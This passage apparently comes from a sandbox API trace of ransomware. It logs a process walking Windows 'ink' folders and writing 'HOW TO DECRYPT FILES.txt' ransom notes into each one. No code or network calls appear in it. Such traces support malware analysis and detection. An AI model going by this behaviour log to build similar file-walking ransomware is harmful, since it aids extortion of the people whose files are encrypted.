Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" [0058.156] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0058.156] FindClose (in: hFindFile=0x4f8278 | out: hFindFile=0x4f8278) returned 1 [0058.156] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0058.156] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.156] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="osknumpad.xml") returned -1 [0058.156] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="osknumpad.xml") returned -1 [0058.156] lstrcmpiA (lpString1="", lpString2="osknumpad.xml") returned -1 [0058.156] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" [0058.156] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="" [0058.156] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" [0058.156] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\how to decrypt files.txt")) returned 0x20 [0058.156] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="osknumpad.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" [0058.156] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="oskpred", cAlternateFileName="")) returned 1 [0058.157] lstrcmpA (lpString1=".", lpString2="oskpred") returned -1 [0058.157] lstrcmpA (lpString1="..", lpString2="oskpred") returned -1 [0058.157] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="oskpred" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" [0058.157] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f8282, cFileName=".", cAlternateFileName="")) returned 0x4f8278 [0058.157] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.157] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.157] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.157] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.157] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0058.157] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.157] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="oskpredbase.xml") returned -1 [0058.157] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="oskpredbase.xml") returned -1 [0058.157] lstrcmpiA (lpString1="", lpString2="oskpredbase.xml") returned -1 [0058.157] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\" [0058.157] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\") returned="" [0058.157] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\HOW TO DECRYPT FILES.txt" [0058.158] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\how to decrypt files.txt")) returned 0xffffffff [0058.158] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0058.160] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.160] CloseHandle (hObject=0x94) returned 1 [0058.161] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", lpString2="oskpredbase.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" [0058.161] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0058.161] FindClose (in: hFindFile=0x4f8278 | out: hFindFile=0x4f8278) returned 1 [0058.161] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0058.161] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.161] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="oskpred.xml") returned -1 [0058.161] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="oskpred.xml") returned -1 [0058.161] lstrcmpiA (lpString1="", lpString2="oskpred.xml") returned -1 [0058.161] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" [0058.161] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="" [0058.161] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" [0058.161] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\how to decrypt files.txt")) returned 0x20 [0058.161] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="oskpred.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" [0058.161] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="symbols", cAlternateFileName="")) returned 1 [0058.162] lstrcmpA (lpString1=".", lpString2="symbols") returned -1 [0058.162] lstrcmpA (lpString1="..", lpString2="symbols") returned -1 [0058.162] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="symbols" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" [0058.162] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f8282, cFileName=".", cAlternateFileName="")) returned 0x4f8278 [0058.162] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.162] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.162] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.162] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.162] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0058.162] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.162] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ea-sym.xml") returned -1 [0058.162] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ea-sym.xml") returned 1 [0058.162] lstrcmpiA (lpString1="", lpString2="ea-sym.xml") returned -1 [0058.162] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\" [0058.162] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\") returned="" [0058.162] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\HOW TO DECRYPT FILES.txt" [0058.163] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\how to decrypt files.txt")) returned 0xffffffff [0058.163] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0058.164] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.164] CloseHandle (hObject=0x94) returned 1 [0058.164] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", lpString2="ea-sym.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" [0058.165] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x4f85b0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0058.165] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.165] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ja-jp-sym.xml") returned -1 [0058.165] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ja-jp-sym.xml") returned -1 [0058.165] lstrcmpiA (lpString1="", lpString2="ja-jp-sym.xml") returned -1 [0058.165] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\" [0058.165] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\") returned="" [0058.165] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\HOW TO DECRYPT FILES.txt" [0058.165] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\how to decrypt files.txt")) returned 0x20 [0058.165] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", lpString2="ja-jp-sym.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" [0058.165] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0058.165] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.165] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="symbase.xml") returned -1 [0058.165] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="symbase.xml") returned -1 [0058.165] lstrcmpiA (lpString1="", lpString2="symbase.xml") returned -1 [0058.165] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\" [0058.165] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\") returned="" [0058.165] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\HOW TO DECRYPT FILES.txt" [0058.165] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\how to decrypt files.txt")) returned 0x20 [0058.166] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\", lpString2="symbase.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" [0058.166] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x500059, dwReserved1=0x200054, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0058.166] FindClose (in: hFindFile=0x4f8278 | out: hFindFile=0x4f8278) returned 1 [0058.166] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0058.166] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.166] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="symbols.xml") returned -1 [0058.166] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="symbols.xml") returned -1 [0058.166] lstrcmpiA (lpString1="", lpString2="symbols.xml") returned -1 [0058.166] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" [0058.166] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="" [0058.166] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" [0058.166] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\how to decrypt files.txt")) returned 0x20 [0058.166] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="symbols.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" [0058.167] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="web", cAlternateFileName="")) returned 1 [0058.167] lstrcmpA 